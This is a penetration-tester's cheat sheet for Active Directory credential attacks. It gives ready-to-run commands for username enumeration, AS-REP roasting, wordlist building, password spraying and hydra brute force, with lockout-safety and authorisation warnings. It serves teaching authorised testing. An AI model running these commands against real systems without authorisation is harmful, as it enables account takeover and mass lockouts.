Brute force & username enumeration
Username enumeration, wordlist preparation, and password spraying for authorised AD engagements — built around the domain password policy as the gate that keeps it safe.
Scope: for authorised testing only. Spraying without first knowing the domain lockout threshold will lock out real accounts. Work through them in this order.
1. Domain password policy — read this first
The lockout threshold and reset window in the policy are what keep a spray from becoming a denial-of-service. Always enumerate this before any spray.
nxc smb <dc-ip> -u <user> -p '<password>' -d <domain> --pass-pol
On misconfigured domains a null session can work — try -u '' -p ''
before you have any credentials.
2. Username enumeration
Generate candidates from a name list
If you have a list of real names (LinkedIn scrape, company website, conference attendees), generate usernames using the conventions the target directory is likely to use:
./username-anarchy --input-file ./names.txt --select-format first.last
Common formats to try in sequence: first.last, flast, firstl,
f.last, firstlast.
Kerberos pre-auth enumeration
Kerberos’s AS-REQ response differs for valid vs invalid usernames — no
credentials needed. kerbrute is the current standard:
kerbrute userenum --dc <dc-ip> -d <domain> users.txt
Or the nmap NSE variant:
nmap -p 88 --script krb5-enum-users \
--script-args krb5-enum-users.realm='<domain>' <dc-ip>
RID brute via SAMR
If you can reach SMB with any (even guest) account, walk the RIDs:
nxc smb <dc-ip> -u <user> -p '<password>' --rid-brute
AS-REP roasting candidates
Users with Do not require Kerberos pre-authentication set will hand out an AS-REP you can crack offline. Request hashes for a username list in one shot:
impacket-GetNPUsers <domain>/ -dc-ip <dc-ip> \
-usersfile users.txt -format hashcat -outputfile asrep.hashes
3. Wordlist preparation
Rule-based mutation of a base list
Apply hashcat rules to expand a base wordlist before spraying:
hashcat --stdout /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule > custom.txt
best64.rule is a quick win. dive.rule is more aggressive and
noisier — useful for offline cracking, overkill for spraying.
Scrape candidates from the target’s site
Pull words from a public-facing site for a target-specific wordlist — product names, slogans, founders’ names, dates:
cewl https://target.example -w site-words.txt # words to file
cewl https://target.example -e -n # extract emails, no count
Custom hashcat rules
Stack mutations like capitalisation and year/symbol suffixes:
c $2 $0 $2 $6 $!
c $2 $0 $2 $6 $@
c $2 $0 $2 $6 $#
$S $u $m $m $e $r $2 $0 $2 $6
c capitalises the first character. $X appends the literal X. Full
reference: https://hashcat.net/wiki/doku.php?id=rule_based_attack
Test your rule against a small wordlist before running at scale:
hashcat --stdout ./wordlist -r ./custom.rule
4. Password spraying
Rules of safety. One password per round across the whole user list. Then wait outside the lockout reset window before the next round. Never run a wordlist against a single AD user — that’s brute force and locks the account.
Kerberos-based spray (typically quieter than SMB)
kerbrute passwordspray --dc <dc-ip> -d <domain> users.txt 'Spring2026!'
SMB-based spray
nxc smb <dc-ip> -u ./users.txt -p 'Spring2026!' \
--no-bruteforce --continue-on-success
--no-bruteforce pairs each user with the same password (1:1) rather
than every-user × every-password. --continue-on-success keeps going
after a hit so you don’t miss other valid accounts.
PowerShell variant (from a domain-joined host)
Invoke-DomainPasswordSpray -Password 'Spring2026!' -OutFile output.txt
Candidates worth trying
Welcome1, Welcome01, <Season><Year>! (e.g. Spring2026!),
<CompanyName>123, Password123. Combine with the policy you read in
step 1 to know how many rounds the lockout budget allows you.
5. Single-user brute force
When you have a username and a service to attack (FTP, SSH, single web login) — not for AD accounts unless lockout is explicitly disabled.
hydra -l <user> -P passlist.txt ftp://<target>
Web form
hydra -L users.txt -P passwords.txt -f <target> -s <port> \
http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials"
F=... is the failure marker the server returns on a wrong attempt.
Tune it to whatever the target actually returns when login fails.